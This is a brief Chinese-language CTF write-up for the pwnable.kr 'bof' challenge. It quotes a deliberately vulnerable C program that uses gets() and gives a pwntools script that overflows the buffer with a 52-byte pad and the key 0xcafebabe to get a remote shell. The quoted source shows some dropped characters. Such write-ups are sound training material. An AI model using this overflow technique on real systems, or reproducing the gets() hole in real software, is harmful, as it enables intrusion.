pwnable.kr之bof

打开题目:

先下载题目给我们的两个文件，查看文件信息：

发现没有执行的权限，所以先增加文件bof的执行权限，执行：

没发现啥，然后查看代码，

 #include <stdio.h>

 #include <string.h>

 #include <stdlib.h>

 void func(int key){

     char overflowme[];

     printf("overflow me : ");

     gets(overflowme);    // smash me!

     if(key == 0xcafebabe){

         system("/bin/sh");

     }

     else{

         printf("Nah..\n");

     }

 }

 int main(int argc, char* argv[]){

     func(0xdeadbeef);

     return ;

 }

观察代码，知道只要使key==0xcafebabe就可拿到shell，然后查看flag。

所以开始调试找偏移。

调试后知道偏移为52，所以写一个python程序，代码为

from pwn import *

p=remote('pwnable.kr',9000)

payload='a'*52+'\xbe\xba\xfe\xca'

p.sendline(payload)

p.interactive()

拿到shell，输入cat flag，拿到flag

巴特西

pwnable.kr之bof

最新文章

热门文章